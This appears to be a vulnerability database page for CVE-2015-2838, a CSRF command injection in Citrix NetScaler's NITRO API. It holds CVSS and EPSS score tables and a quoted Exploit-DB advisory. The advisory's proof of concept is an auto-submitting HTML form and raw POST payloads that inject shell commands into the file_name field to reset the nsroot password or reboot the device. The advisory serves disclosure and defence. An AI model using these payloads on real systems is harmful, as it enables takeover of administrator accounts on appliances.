CVE-2015-2838

CVE Descriptions

Cross-site request forgery (CSRF) vulnerability in Nitro API in Citrix NetScaler before 10.5 build 52.3nc allows remote attackers to hijack the authentication of administrators for requests that execute arbitrary commands as nsroot via shell metacharacters in the file_name JSON member in params/xen_hotfix/0 to nitro/v1/config/xen_hotfix.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-352	Cross-Site Request Forgery (CSRF) The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	10.21%	–	–
2022-04-03	–	–	10.21%	–	–
2022-08-28	–	–	9.26%	–	–
2023-03-12	–	–	–	0.62%	–
2023-10-29	–	–	–	0.7%	–
2024-02-11	–	–	–	0.7%	–
2024-06-02	–	–	–	0.7%	–
2024-06-23	–	–	–	0.85%	–
2024-08-25	–	–	–	0.85%	–
2024-09-22	–	–	–	0.85%	–
2024-09-29	–	–	–	1%	–
2024-12-22	–	–	–	0.82%	–
2024-12-29	–	–	–	0.73%	–
2025-01-19	–	–	–	0.73%	–
2025-03-18	–	–	–	–	2.16%
2025-03-30	–	–	–	–	2.1%
2025-04-06	–	–	–	–	2.1%
2025-04-22	–	–	–	–	3.97%
2025-04-22	–	–	–	–	3.97,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	88%
2022-04-03	94%
2022-08-28	94%
2023-03-12	76%
2023-10-29	78%
2024-02-11	8%
2024-06-02	8%
2024-06-23	82%
2024-08-25	83%
2024-09-22	82%
2024-09-29	84%
2024-12-22	82%
2024-12-29	81%
2025-01-19	81%
2025-03-18	83%
2025-03-30	82%
2025-04-06	83%
2025-04-22	88%
2025-04-22	88%

Exploit information

Exploit Database EDB-ID : 36442

Publication date : 2015-03-18 23h00 +00:00
Author : Han Sahin
EDB Verified : No

Abstract Securify discovered a command injection vulnerability in xen_hotfix page of the NITRO SDK. The attacker-supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data. Tested version This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other versions may also be affected. Fix Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc. Introduction The Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a full-blown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A Cross-Site Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK. Administrators can upload XenServer hotfixes to the Citrix SDX appliance. The REST interface responsible for handling these hotfixes is vulnerable to command injection. Details This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data. The following proof of concept can be used to exploit this issue; <html> <body> <form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST"> <input type="hidden" name="object" value="{"params":{"action":"start"},"xen_hotfix":[{"file_name":"../../etc/passwd;echo nsroot:Securify|chpasswd;"}]}" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit();</script> </body> </html> POST /nitro/v1/config/xen_hotfix HTTP/1.1 ----------------------------------------- object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]} or object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]} Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page.